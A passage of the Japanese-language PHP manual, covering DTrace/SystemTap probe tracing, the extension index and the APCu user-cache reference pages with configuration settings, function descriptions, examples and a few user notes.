    printf("  lineno %d\n", $arg3);
    printf("  classname %s\n", user_string($arg4));
    printf("  scope %s\n", user_string($arg5));
}
probe process("sapi/cli/php").provider("php").mark("request__shutdown") {
    printf("Probe request__shutdown\n");
    printf("  file %s\n", user_string($arg1));
    printf("  request_uri %s\n", user_string($arg2));
    printf("  request_method %s\n", user_string($arg3));
}
probe process("sapi/cli/php").provider("php").mark("request__startup") {
    printf("Probe request__startup\n");
    printf("  file %s\n", user_string($arg1));
    printf("  request_uri %s\n", user_string($arg2));
    printf("  request_method %s\n", user_string($arg3));
}

上記のスクリプトは、PHP スクリプト実行中の期間全体にわたって、 すべてのコア PHP 静的プローブ・ポイントをトレースします。

# stap -c 'sapi/cli/php test.php' all_probes.stp

User Contributed Notes

idealities at gmail dot com 12-Oct-2018 08:02
# stap -l 'process.provider("php").mark("*")' -c 'sapi/cli/php -i'

This can also be archived by:

stap -l 'process("sapi/cli/php").mark("*")'

And, no need to be root to run this command.


関数リファレンス

ヒント

参考 拡張モジュールの一覧/分類.

  • PHP の振る舞いの変更
    • APCu — APC User Cache
    • Componere
    • エラー処理 — エラー処理およびログ記録
    • FFI — Foreign Function Interface
    • Memtrack
    • OPcache
    • 出力制御 — 出力バッファリング制御
    • PHP Options/Info — PHP オプションと情報
    • phpdbg — Interactive PHP Debugger
    • runkit7
    • uopz — Zend に対するユーザー操作
    • Weakref — 弱い参照
    • WinCache — PHP 用の Windows キャッシュ
    • Xhprof — 階層型プロファイラ
    • Yac
  • 音声フォーマットの操作
    • OpenAL — OpenAL 音声バインディング
  • 認証サービス
    • Radius
  • コマンドライン関連
    • Ncurses — Ncurses 端末画面制御
    • Readline — GNU Readline
  • 圧縮およびアーカイブ
    • Bzip2
    • LZF
    • Phar
    • Rar — Rar アーカイブ
    • Zip
    • Zlib — Zlib 圧縮
  • 暗号
    • CSPRNG
    • Hash — HASH メッセージダイジェストフレームワーク
    • Mcrypt
    • Mhash
    • OpenSSL
    • パスワードのハッシュ
    • Sodium
  • データベース関連
    • 抽象化レイヤー
    • ベンダー固有のモジュール
  • 日付および時刻関連
    • カレンダー
    • Date/Time — 日付・時刻
    • HRTime — High resolution timing
  • ファイルシステム
    • ダイレクト IO
    • ディレクトリ
    • Fileinfo — ファイル情報
    • ファイルシステム
    • Inotify
    • Proctitle
    • xattr
    • xdiff
  • 自然言語および文字エンコーディング
    • Enchant — Enchant スペリングライブラリ
    • Gender — 名前の性別の判別
    • Gettext
    • iconv
    • intl — 国際化関数
    • マルチバイト文字列
    • Pspell
    • Recode — GNU Recode
  • 画像処理および作成
    • Exif — Exchangeable image information
    • GD — 画像処理 (GD)
    • Gmagick
    • ImageMagick — 画像処理 (ImageMagick)
  • メール関連
    • IMAP — IMAP、POP3 および NNTP
    • メール
    • Mailparse
  • 数学
    • BC Math — BCMath 任意精度数学関数
    • GMP — GNU Multiple Precision
    • Math — 数学関数
    • 統計関数
    • Trader — Technical Analysis for Traders
  • テキスト以外の MIME 型
    • FDF — Forms Data Format
    • GnuPG — GNU Privacy Guard
    • wkhtmltox
    • PS — PostScript ドキュメントの作成
    • RpmInfo
    • XLSWriter
  • プロセス制御
    • Eio
    • Ev
    • Expect
    • PCNTL — プロセス制御
    • POSIX
    • プログラムの実行 — システムプログラムの実行
    • parallel
    • pthreads
    • pht
    • セマフォ — セマフォ、共有メモリおよび IPC
    • 共有メモリ
    • Sync
  • その他の基本モジュール
    • GeoIP — Geo IP ロケーション
    • FANN — FANN (Fast Artificial Neural Network)
    • JSON — JavaScript Object Notation
    • Lua
    • LuaSandbox
    • その他 — その他の関数
    • Seaslog
    • SPL — Standard PHP Library (SPL)
    • ストリーム
    • Swoole
    • Tidy
    • Tokenizer
    • URLs
    • V8js — V8 Javascript Engine 統合
    • Yaml — YAML によるデータのシリアライズ
    • Yaf — Yet Another Framework (Yaf)
    • Yaconf
    • Taint
    • Data Structures
  • その他のサービス
    • cURL — Client URL Library
    • Event
    • FTP
    • Gearman
    • LDAP — Lightweight Directory Access Protocol
    • Memcache
    • Memcached
    • mqseries
    • ネットワーク
    • RRD — RRDtool
    • ScoutAPM
    • SNMP
    • ソケット
    • SSH2 — Secure Shell2
    • Stomp — Stomp Client
    • SVM — サポートベクターマシン
    • SVN — Subversion
    • TCP — TCP ラッパー
    • Varnish
    • YAZ
    • 0MQ messaging — ZMQ
    • ZooKeeper
  • 検索エンジン用の拡張モジュール
    • Solr — Apache Solr
    • Sphinx — Sphinx クライアント
  • サーバー固有のモジュール
    • Apache
    • FastCGI Process Manager
  • セッション関連
    • Sessions — セッション処理
  • テキスト処理
    • CommonMark
    • Parle — Parsing and lexing
    • PCRE — 正規表現 (Perl 互換)
    • POSIX Regex — 正規表現 (POSIX 拡張)
    • ssdeep — ssdeep Fuzzy Hashing
    • 文字列
  • 変数・データ型関連
    • 配列
    • クラス/オブジェクト — クラス/オブジェクトの情報
    • Classkit
    • Ctype — 文字タイプチェック
    • Filter — データのフィルタリング
    • 関数処理
    • Quickhash
    • リフレクション
    • 変数操作
  • ウェブサービス
    • OAuth
    • SOAP
    • Yar — Yet Another RPC Framework
    • XML-RPC
  • Windows 用のモジュール
    • COM — COM および .Net (Windows)
    • win32service
  • XML 操作
    • DOM — Document Object Model
    • libxml
    • SimpleXML
    • WDDX
    • XMLDiff — XML diff and merge
    • XML パーサ
    • XMLReader
    • XMLWriter
    • XSL
  • GUI用の拡張モジュール
    • UI

User Contributed Notes

There are no user contributed notes for this page.


PHP の振る舞いの変更

  • APCu — APC User Cache
    • はじめに
    • インストール/設定
    • 定義済み定数
    • APCu 関数
    • APCUIterator — APCUIterator クラス
  • Componere
    • はじめに
    • インストール/設定
    • Componere\Abstract\Definition — The Componere\Abstract\Definition class
    • Componere\Definition — The Componere\Definition class
    • Componere\Patch — The Componere\Patch class
    • Componere\Method — The Componere\Method class
    • Componere\Value — The Componere\Value class
    • Componere 関数
  • エラー処理 — エラー処理およびログ記録
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • エラー処理関数
  • FFI — Foreign Function Interface
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • FFI — Main interface to C code and data
    • FFI\CData — C Data Handles
    • FFI\CType — C Type Handles
    • FFI\Exception — FFI Exceptions
    • FFI\ParserException — FFI Parser Exceptions
  • Memtrack
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
  • OPcache
    • はじめに
    • インストール/設定
    • コードの事前ロード
    • OPcache 関数
  • 出力制御 — 出力バッファリング制御
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • 出力制御 関数
  • PHP Options/Info — PHP オプションと情報
    • はじめに
    • インストール/設定
    • 定義済み定数
    • PHP オプション/情報 関数
  • phpdbg — Interactive PHP Debugger
    • はじめに
    • インストール/設定
    • 定義済み定数
    • phpdbg 関数
  • runkit7
    • はじめに
    • インストール/設定
    • 定義済み定数
    • runkit7 関数
  • uopz — Zend に対するユーザー操作
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Uopz 関数
  • Weakref — 弱い参照
    • はじめに
    • インストール/設定
    • WeakRef — WeakRef クラス
    • WeakMap — WeakMap クラス
  • WinCache — PHP 用の Windows キャッシュ
    • はじめに
    • インストール/設定
    • 定義済み定数
    • WinCache 関数
    • Windows でのビルド
  • Xhprof — 階層型プロファイラ
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Xhprof 関数
  • Yac
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Yac — The Yac class

User Contributed Notes

There are no user contributed notes for this page.


APC User Cache

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • APCu 関数
    • apcu_add — 新規の変数をデータ領域にキャッシュする
    • apcu_cache_info — APCu のデータから、キャッシュされた情報を取得する
    • apcu_cas — 古い値を新しい値に更新する
    • apcu_clear_cache — APCu キャッシュをクリアする
    • apcu_dec — 保存した数値を減らす
    • apcu_delete — 格納されている変数をキャッシュから取り除く
    • apcu_enabled — 現在の環境で apcu が使えるかを確認する
    • apcu_entry — アトミックに値を取得するか、キャッシュエントリを生成する
    • apcu_exists — エントリが存在するかどうかを調べる
    • apcu_fetch — 格納されている変数をキャッシュから取得する
    • apcu_inc — 保存した数値を増やす
    • apcu_key_info — キャッシュのキーに関する詳細な情報を取得する
    • apcu_sma_info — APCu の共有メモリ割り当てに関する情報を取得する
    • apcu_store — 変数をデータ領域にキャッシュする
  • APCUIterator — APCUIterator クラス
    • APCUIterator::__construct — APCUIterator イテレータオブジェクトを作成する
    • APCUIterator::current — 現在の項目を取得する
    • APCUIterator::getTotalCount — 総数を取得する
    • APCUIterator::getTotalHits — キャッシュヒットの総数を取得する
    • APCUIterator::getTotalSize — キャッシュのサイズの合計を取得する
    • APCUIterator::key — イテレータのキーを取得する
    • APCUIterator::next — ポインタを次の項目に移動させる
    • APCUIterator::rewind — イテレータを巻き戻す
    • APCUIterator::valid — 現在位置が有効かどうかを調べる

User Contributed Notes

alex at modula-shop-systems dot de 21-Sep-2020 11:43
For PHP-FPM :
Note that all ini values are PHP_INI_SYSTEM and can't be set via php_admin_value in pool.d/xxx.conf and therefore not via different webhosting control/configuration panels.

Use /etc/php/7.x/fpm/conf.d/20-apcu.ini or /etc/php/7.x/fpm/php.ini
boefje at hotmail dot com 29-May-2020 10:55
To use apcu, the apcu extension has to be installed. You can find it here https://pecl.php.net/package/APCu

Note: apcu is not the same as apc!

APCu is the official replacement for the outdated APC extension. APC provided both opcode caching (opcache) and object caching. As PHP versions 5.5 and above include their own opcache, APC was no longer compatible, and its opcache functionality became useless. The developers of APC then created APCu, which offers only the object caching (read "in memory data caching") functionality (they removed the outdated opcache).

Wondering how to use apcu? The following example should give you a basic understanding.

<?php

date_default_timezone_set('Europe/Amsterdam');

$apcuAvailabe = function_exists('apcu_enabled') && apcu_enabled();

if($apcuAvailabe)
{
    //apcu_clear_cache();

    $test1 = apcu_fetch('test1');
    $test2 = apcu_fetch('test2');
}

$test1[] = rand(1, 1000);
$test2[] = rand(1, 1000);

if($apcuAvailabe)
{
    apcu_store('test1', $test1);
    apcu_store('test2', $test2);
}

echo sprintf('current - value = %s<br/>', implode(' ,', $test1));
echo sprintf('current - value = %s<br/>', implode(' ,', $test2));

$aPCUIterator = new APCUIterator();

echo sprintf('totalCount = %s<br/>', $aPCUIterator->getTotalCount());
//echo sprintf('totalHits = %s<br/>', $aPCUIterator->getTotalHits()); // Not implemneted/available?
echo sprintf('totalSize = %s<br/>', $aPCUIterator->getTotalSize());

echo '----------------------------------<br/>';

$aPCUIterator->rewind();
echo sprintf('key = %s<br/>', $aPCUIterator->key());
echoCurrent($aPCUIterator->current());
$aPCUIterator->next();

echo '----------------------------------<br/>';

echo sprintf('key = %s<br/>', $aPCUIterator->key());
echoCurrent($aPCUIterator->current());
echo sprintf('valid = %s<br/>', $aPCUIterator->valid() ? 'true' : 'false');

function echoCurrent($current)
{

    echo sprintf('current - type = %s<br/>', $current['type']);
    echo sprintf('current - key = %s<br/>', $current['key']);
    echo sprintf('current - value = %s<br/>', implode(' ,', $current['value']));
    //echo sprintf('current - num_hits = %s<br/>', $current['num_hits']); // Not implemneted/available?
    echo sprintf('current - mtime = %s<br/>', date("d-m-Y H:i:s", $current['mtime']));
    echo sprintf('current - creation_time = %s<br/>', date("d-m-Y H:i:s", $current['creation_time']));
    echo sprintf('current - deletion_time = %s<br/>', date("d-m-Y H:i:s", $current['deletion_time']));
    echo sprintf('current - access_time = %s<br/>', date("d-m-Y H:i:s", $current['access_time']));
    //echo sprintf('current - ref_count = %s<br/>', $current['ref_count']); // Not implemneted/available?
    echo sprintf('current - mem_size = %s<br/>', $current['mem_size']);
    //echo sprintf('current - ttl = %s<br/>', $current['ttl']); // Not implemneted/available?
}

?>


はじめに

APCu は、PHP で動くインメモリの key-value ストアです。 キーは文字列型で、値は任意のPHPの変数を保存できます。 APCu はユーザーランドの変数のキャッシュのみをサポートしています。

APCu は APC から opcode のキャッシュ機能を除いたものです。

一番はじめの APCu のコードベースには 4.0.0 というバージョンが付けられました。 これは当時の APC の master ブランチの最新版からフォークした時点のものです。

APCu 5.0.0 で PHP 7 がサポートされました。

APCu は、APC の代替となるように互換モードを提供しています。

User Contributed Notes

There are no user contributed notes for this page.


インストール/設定

目次

  • 要件
  • インストール手順
  • 実行時設定
  • リソース型

User Contributed Notes

There are no user contributed notes for this page.


要件

外部ライブラリを必要としません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/apcu.

APC の機能と後方互換を取ることが必須な場合、APCu は --enable-apcu-bc を付けてコンパイルしなければなりません。

警告

PHP 7 では、APC と後方互換を取るために別のモジュール (» apc.so) を提供しています。

後方互換モードでは、APCu はAPCの関数を後方互換が取れたプロトタイプで登録します。

cache_type を引数として取るAPC関数は、 後方互換モードが有効なバージョンでは単に無視され、 APCu のバージョンではプロトタイプで省略されます。

注意: Windows では、既に存在しており、 かつ Webサーバから書き込み可能な temp path が必要です。 APCu は TMP, TEMP, USERPROFILE 環境変数をこの順でチェックし、 これらに値がセットされていない場合は WINDOWS ディレクトリを最後に調べます。

注意: さらに細かい、技術的に高度な実装の詳細については、 » 開発者が提供している TECHNOTES ファイル を参照して下さい。

APCu のソースコードは、» ここ で見ることが出来ます。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

大半のインストール環境では、APCu はデフォルトの設定で問題ありません。 しかし、本格的なユーザーは以下のパラメータのチューニングを考慮すべきです。

APCuを設定するには、ひとつ決断が必要です。 どれくらいのメモリをAPCuに割り当てるのかということです。 この値を制御するのは apc.shm_size です。 以下のこれに関するセクションを注意深く読んで下さい。

サーバがいったん起動したら、 拡張機能にバンドルされている apc.php スクリプトをドキュメントルートのどこかにコピーし、ブラウザから見てみましょう。 APCu の内部動作を詳細に分析した情報が見られるからです。 GD が有効になっている場合、面白いグラフも見られるでしょう。 APCu が動作している場合、(左側の) Cache full count の数が、キャッシュの容量が一杯になり、apc.ttl 秒間アクセスされていないエントリを強制的に掃除しなければならなかった回数を示しています。 この数字は上手に設定されているキャッシュであれば最小にすべきです。 キャッシュが頻繁に一杯になり、強制的に開放される場合、 スクリプトのパフォーマンスに悪影響が出てしまいます。 この数値を最小にする一番簡単なな方法は、APCu により多くのメモリを割り当てることです。

APCu が mmap (メモリマッピング) のサポートを有効にしてコンパイルされている場合、 APCu はメモリセグメントをひとつしか使いません。 一方で、SHM (SysV共有メモリ) を有効にしてビルドした場合は、複数のメモリセグメントを使います。 SHM は /proc/sys/kernel/shmmax で最大値を持っていますが、MMAP にはそれがありません。 一般的には、MMAP のサポートを有効にすることをおすすめします。 なぜなら、MMAPはWebサーバが再起動したときのメモリの再要求の速度が速く、 全体として起動時のメモリ割り当ての負荷が減るからです。

APCu の設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
apc.enabled | "1" | PHP_INI_SYSTEM |
apc.shm_segments | "1" | PHP_INI_SYSTEM |
apc.shm_size | "32M" | PHP_INI_SYSTEM |
apc.entries_hint | "4096" | PHP_INI_SYSTEM |
apc.ttl | "0" | PHP_INI_SYSTEM |
apc.gc_ttl | "3600" | PHP_INI_SYSTEM |
apc.mmap_file_mask | NULL | PHP_INI_SYSTEM |
apc.slam_defense | "1" | PHP_INI_SYSTEM |
apc.enable_cli | "0" | PHP_INI_SYSTEM |
apc.use_request_time | "0" | PHP_INI_ALL | APCu 5.1.19 より前のバージョンでは、デフォルト値は "1" でした。
apc.serializer | "php" | PHP_INI_SYSTEM | APCu 5.1.15 より前のバージョンでは、デフォルト値は "default" でした。
apc.coredump_unmap | "0" | PHP_INI_SYSTEM |
apc.preload_path | NULL | PHP_INI_SYSTEM |
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

apc.enabled bool

APC を無効にする場合、apc.enabled を0に設定できます。 これはAPCがPHPに静的にコンパイルされている場合に役に立ちます。 なぜなら、これ以外にAPCを無効にする方法がないからです。 (DSO としてコンパイルされている場合、 php.ini の extension の行をコメントアウトすれば済みます)

apc.shm_segments int

コンパイラキャッシュに割り当てる共有メモリセグメントの数。 APC の共有メモリが不足したが、apc.shm_size にシステムが許可できるできるだけ高い値を設定している場合、 この値を増やすことでAPCがメモリ不足になることを避けられるかもしれません。

apc.shm_size string

個別の共有メモリセグメントのサイズ。 このFAQ で説明している短縮記法を使います。 デフォルトでは、システムによって(ほとんどのBSD系)は、 共有メモリセグメントのサイズの限界値がとても小さい場合があります。

apc.entries_hint int

異なる値を保存する数のおおよその"ヒント"。 わからない場合はゼロを設定して下さい。

apc.ttl int

あるキャッシュエントリのスロットを別のエントリが必要としている場合に、 キャッシュエントリがアイドル状態でいて良い秒数。 この値をゼロに設定すると、新しいエントリがキャッシュされない間は APCのキャッシュは潜在的に古いもので埋められる可能性があります。 キャッシュのメモリが不足した場合、ttl が0の場合、キャッシュは完全に削除されます。 0より大きな場合、APC は期限切れのエントリから削除しようとします。

apc.gc_ttl int

キャッシュエントリがガベージコレクションのリストに残っても良い秒数。 この値はキャッシュされたソースファイルを実行中にWebサーバが死んだ場合のフェイルセーフを提供します。 つまり、このソースファイルが変更された場合、 古いバージョンに割り当てられたメモリはTTLに達するまで絶対に要求されないからです。 この機能を無効にするにはゼロを設定して下さい。

apc.mmap_file_mask string

--enable-mmap を使ってPHPをコンパイルした場合に、 mmapされたメモリ領域をファイルベースか共有メモリベースにするかを決めるために、 mmapモジュールに渡すmktempスタイルのファイルマスク。 ファイルベースのmmapの場合、 /tmp/apc.XXXXXX のように設定します (X はちょうど6つにして下さい)。 POSIXスタイルの shm_open/mmap を使う場合、 .shm をマスクのどこかに含めて下さい。 e.g. /apc.shm.XXXXXX。 匿名のmmapされたメモリを使うために kernel の /dev/zero インターフェイスを使う場合、 この値に /dev/zero も設定できます。

apc.slam_defense int

とても負荷が高いサーバでは、いつサーバを起動したり、 変更したりしても、同じファイルを同時にキャッシュしようとする 多くのプロセスの競合が発生します。 このオプションは、キャッシュされていないファイルをキャッシュ しようとする動作をスキップするプロセスの割合を設定します。 たとえば、apc.slam_defense の値を 75 に設定すると、 キャッシュされていないファイルをキャッシュしないプロセスは75%いることになります。 よって、この設定値を大きくすればするほど、 キャッシュのスラム化を防げることになります。 この機能を無効にするには 0 を設定します。

apc.enable_cli int

この設定はほとんどの場合、テストかデバッグに使います。 これを設定すると、CLI版PHPでAPCが有効になります。 通常の状態では、CLI リクエストのたびにAPCキャッシュを生成し、 収集し、破棄するのは望ましくありません。しかし、テストシナリオによっては、 CLI版のPHPでAPCを簡単に有効に出来た方が便利な場合があります。

apc.serializer string

APCにサードパーティーのシリアライザを使わせる場合に使います。

apc.coredump_unmap bool

SIGSEGV のようなシグナルのシグナルハンドラをAPCで有効にします。 ハンドラでは、シグナルを受け取ったときにコアファイルに書き込みます。 これらのシグナルを受け取った場合、 APC はコアファイルから除外するために共有メモリセグメントをアンマップしようとします。 この設定は致命的なシグナルを受け取ったり、 APCの共有メモリセグメントの数を大きく設定している場合に、 システムの安定性を向上させる可能性があります。

警告

この機能は潜在的に危険です。 致命的なシグナルハンドラで共有メモリセグメントをアンマップすると、 致命的なエラーが発生したときの動作が未定義になる可能性があるからです。

注意:

kernel によっては、コアダンプファイルを生成するときに 様々なタイプの共有メモリを無視する機能を提供するものがあります。 こうしたkernelの実装は、 Apache scoreboard のような重要な共有メモリセグメントも無視するかもしれません。

apc.preload_path string

オプション。キャッシュデータを起動時に読み込むディレクトリのパスを設定します。

apc.use_request_time bool

TTL に SAPI リクエストの開始時刻を使います。

User Contributed Notes

There are no user contributed notes for this page.


リソース型

リソース型は定義されていません。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

APC_ITER_ALL (int)
APC_ITER_ATIME (int)
APC_ITER_CTIME (int)
APC_ITER_DEVICE (int)
APC_ITER_DTIME (int)
APC_ITER_FILENAME (int)
APC_ITER_INODE (int)
APC_ITER_KEY (int)
APC_ITER_MD5 (int)
APC_ITER_MEM_SIZE (int)
APC_ITER_MTIME (int)
APC_ITER_NONE (int)
APC_ITER_NUM_HITS (int)
APC_ITER_REFCOUNT (int)
APC_ITER_TTL (int)
APC_ITER_TYPE (int)
APC_ITER_VALUE (int)
APC_LIST_ACTIVE (int)
APC_LIST_DELETED (int)

User Contributed Notes

There are no user contributed notes for this page.


APCu 関数

目次

  • apcu_add — 新規の変数をデータ領域にキャッシュする
  • apcu_cache_info — APCu のデータから、キャッシュされた情報を取得する
  • apcu_cas — 古い値を新しい値に更新する
  • apcu_clear_cache — APCu キャッシュをクリアする
  • apcu_dec — 保存した数値を減らす
  • apcu_delete — 格納されている変数をキャッシュから取り除く
  • apcu_enabled — 現在の環境で apcu が使えるかを確認する
  • apcu_entry — アトミックに値を取得するか、キャッシュエントリを生成する
  • apcu_exists — エントリが存在するかどうかを調べる
  • apcu_fetch — 格納されている変数をキャッシュから取得する
  • apcu_inc — 保存した数値を増やす
  • apcu_key_info — キャッシュのキーに関する詳細な情報を取得する
  • apcu_sma_info — APCu の共有メモリ割り当てに関する情報を取得する
  • apcu_store — 変数をデータ領域にキャッシュする

User Contributed Notes

There are no user contributed notes for this page.


新規の変数をデータ領域にキャッシュする

  • ≪ APCu 関数
  • apcu_cache_info ≫
  • PHP Manual
  • APCu 関数
  • 新規の変数をデータ領域にキャッシュする

apcu_add

(PECL apcu >= 4.0.0)

apcu_add — 新規の変数をデータ領域にキャッシュする

説明

apcu_add ( string $key , mixed $var , int $ttl = 0 ) : bool
apcu_add ( array $values , mixed $unused = NULL , int $ttl = 0 ) : array

まだ保存されていない場合にのみ、変数をデータ領域にキャッシュします。

注意: PHP の他の多くの仕組みと異なり、apcu_add() を用いて格納された変数はリクエストを超えて （その値がキャッシュから取り除かれるまで）持続します。

パラメータ

key

この名前を用いて変数を格納します。key は キャッシュ内で一意です。そのため、apcu_add() を使用して同一の key で新しい値を格納しようとしても、それは保存されません。 かわりに false が返されます (これが、apcu_add() と apcu_store() の唯一の相違点です)。

var

格納する変数。

ttl

有効期間。var は、キャッシュに ttl 秒間だけ格納されます。 ttl が経過すると、格納されている変数は （次のリクエスト時に）キャッシュから削除されます。 ttl が指定されていない（あるいは ttl が 0 の場合）は、 キャッシュから手動で削除される・あるいはキャッシュに存在できなくなる （clear, restart など）まで値が持続します。

values

名前をキー、変数を値に指定します。

返り値

何かがキャッシュに正しく追加されたときに TRUE、それ以外の場合に FALSE を返します。 二番目の構文は、エラーになったキーを含む配列を返します。

例

例1 apcu_add() の例

<?php
$bar = 'BAR';
apcu_add('foo', $bar);
var_dump(apcu_fetch('foo'));
echo "\n";
$bar = 'NEVER GETS SET';
apcu_add('foo', $bar);
var_dump(apcu_fetch('foo'));
echo "\n";
?>

上の例の出力は以下となります。

string(3) "BAR"
string(3) "BAR"

参考

  • apcu_store() - 変数をデータ領域にキャッシュする
  • apcu_fetch() - 格納されている変数をキャッシュから取得する
  • apcu_delete() - 格納されている変数をキャッシュから取り除く

User Contributed Notes

There are no user contributed notes for this page.


APCu のデータから、キャッシュされた情報を取得する

  • ≪ apcu_add
  • apcu_cas ≫
  • PHP Manual
  • APCu 関数
  • APCu のデータから、キャッシュされた情報を取得する

apcu_cache_info

(PECL apcu >= 4.0.0)

apcu_cache_info — APCu のデータから、キャッシュされた情報を取得する

説明

apcu_cache_info ( bool $limited = false ) : array|false

APC のデータから、キャッシュされた情報およびメタデータを取得します。

パラメータ

limited

limited が true の場合は、 返り値にキャッシュエントリの個々の一覧が含まれません。 これは、統計情報の収集時に呼び出しを最適化したい場合などに有用です。

返り値

キャッシュされたデータ（およびメタデータ）の配列を返します。 失敗した場合に false を返します

注意: もし APC キャッシュのデータを取得できなかった場合、 apcu_cache_info() は警告を発生します。これが起こるのは、 一般的には APC が有効になっていない場合などです。

変更履歴

バージョン | 説明
PECL apcu 3.0.11 | limited パラメータが追加されました。
PECL apcu 3.0.16 | "filehits" オプションが cache_type パラメータに追加されました。

例

例1 apcu_cache_info() の例

<?php
print_r(apcu_cache_info());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [num_slots] => 2000
    [ttl] => 0
    [num_hits] => 9
    [num_misses] => 3
    [start_time] => 1123958803
    [cache_list] => Array
        (
            [0] => Array
                (
                    [filename] => /path/to/apcu_test.php
                    [device] => 29954
                    [inode] => 1130511
                    [type] => file
                    [num_hits] => 1
                    [mtime] => 1123960686
                    [creation_time] => 1123960696
                    [deletion_time] => 0
                    [access_time] => 1123962864
                    [ref_count] => 1
                    [mem_size] => 677
                )
            [1] => Array (...iterates for each cached file)
)

参考

  • APCu 設定ディレクティブ
  • APCUIterator::getTotalSize() - キャッシュのサイズの合計を取得する
  • APCUIterator::getTotalHits() - キャッシュヒットの総数を取得する
  • APCUIterator::getTotalCount() - 総数を取得する

User Contributed Notes

There are no user contributed notes for this page.


古い値を新しい値に更新する

  • ≪ apcu_cache_info
  • apcu_clear_cache ≫
  • PHP Manual
  • APCu 関数
  • 古い値を新しい値に更新する

apcu_cas

(PECL apcu >= 4.0.0)

apcu_cas — 古い値を新しい値に更新する

説明

apcu_cas ( string $key , int $old , int $new ) : bool

apcu_cas() は、既に保存されている整数値が old パラメータにマッチする値のときに、それを new パラメータの値に更新します。

パラメータ

key

更新する値のキー。

old

古い値 (現在保存されている値)。

new

新しく更新したい値。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 apcu_cas() の例

<?php
apcu_store('foobar', 2);
echo '$foobar = 2', PHP_EOL;
echo '$foobar == 1 ? 2 : 1 = ', (apcu_cas('foobar', 1, 2) ? 'ok' : 'fail'), PHP_EOL;
echo '$foobar == 2 ? 1 : 2 = ', (apcu_cas('foobar', 2, 1) ? 'ok' : 'fail'), PHP_EOL;

echo '$foobar = ', apcu_fetch('foobar'), PHP_EOL;

echo '$f__bar == 1 ? 2 : 1 = ', (apcu_cas('f__bar', 1, 2) ? 'ok' : 'fail'), PHP_EOL;

apcu_store('perfection', 'xyz');
echo '$perfection == 2 ? 1 : 2 = ', (apcu_cas('perfection', 2, 1) ? 'ok' : 'epic fail'), PHP_EOL;

echo '$foobar = ', apcu_fetch('foobar'), PHP_EOL;
?>

上の例の出力は、 たとえば以下のようになります。

$foobar = 2
$foobar == 1 ? 2 : 1 = fail
$foobar == 2 ? 1 : 2 = ok
$foobar = 1
$f__bar == 1 ? 2 : 1 = fail
$perfection == 2 ? 1 : 2 = epic fail
$foobar = 1

参考

  • apcu_dec() - 保存した数値を減らす
  • apcu_store() - 変数をデータ領域にキャッシュする

User Contributed Notes

Anonymous 03-Feb-2018 12:49
The output in the example says:

$f__bar == 1 ? 2 : 1 = fail

but in reality it should be:

$f__bar == 1 ? 2 : 1 =  ok

the first time the code is ran as the cache is empty and apcu_cas allows the key to be inserted.


APCu キャッシュをクリアする

  • ≪ apcu_cas
  • apcu_dec ≫
  • PHP Manual
  • APCu 関数
  • APCu キャッシュをクリアする

apcu_clear_cache

(PECL apcu >= 4.0.0)

apcu_clear_cache — APCu キャッシュをクリアする

説明

apcu_clear_cache ( ) : bool

キャッシュをクリアします。

パラメータ

この関数にはパラメータはありません。

返り値

常に true を返します。

参考

  • apcu_cache_info() - APCu のデータから、キャッシュされた情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


保存した数値を減らす

  • ≪ apcu_clear_cache
  • apcu_delete ≫
  • PHP Manual
  • APCu 関数
  • 保存した数値を減らす

apcu_dec

(PECL apcu >= 4.0.0)

apcu_dec — 保存した数値を減らす

説明

apcu_dec ( string $key , int $step = 1 , bool &$success = ? , int $ttl = 0 ) : int|false

保存した整数値を減らします。

パラメータ

key

減らしたい値のキー。

step

減らしたい数。

success

この参照渡しの変数に、成功したか失敗したかの結果が格納されます。

ttl

(既存の値を減らすのではなく) 新しい値を挿入する操作に使うTTL

返り値

成功した場合に key の現在値を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
5.1.12 | 引数 ttl が追加されました。

例

例1 apcu_dec() の例

<?php
echo "Let's do something with success", PHP_EOL;

apcu_store('anumber', 42);

echo apcu_fetch('anumber'), PHP_EOL;

echo apcu_dec('anumber'), PHP_EOL;
echo apcu_dec('anumber', 10), PHP_EOL;
echo apcu_dec('anumber', 10, $success), PHP_EOL;

var_dump($success);

echo "Now, let's fail", PHP_EOL, PHP_EOL;

apcu_store('astring', 'foo');

$ret = apcu_dec('astring', 1, $fail);

var_dump($ret);
var_dump($fail);
?>

上の例の出力は、 たとえば以下のようになります。

Let's do something with success
42
41
31
21
bool(true)
Now, let's fail

bool(false)
bool(false)

参考

  • apcu_inc() - 保存した数値を増やす

User Contributed Notes

There are no user contributed notes for this page.


格納されている変数をキャッシュから取り除く

  • ≪ apcu_dec
  • apcu_enabled ≫
  • PHP Manual
  • APCu 関数
  • 格納されている変数をキャッシュから取り除く

apcu_delete

(PECL apcu >= 4.0.0)

apcu_delete — 格納されている変数をキャッシュから取り除く

説明

apcu_delete ( mixed $key ) : mixed

格納されている変数をキャッシュから取り除きます。

パラメータ

key

単一のキーの文字列、複数のキーの文字列の配列、 または APCUIterator オブジェクトとして 値を格納するために使用されるキー。

返り値

key が array の場合、 インデックスが振られた array のキーが返されます。 そうでない場合、成功したら true 失敗したら false が返されます。

例

例1 apcu_delete() の例

<?php
$bar = 'BAR';
apcu_store('foo', $bar);
apcu_delete('foo');
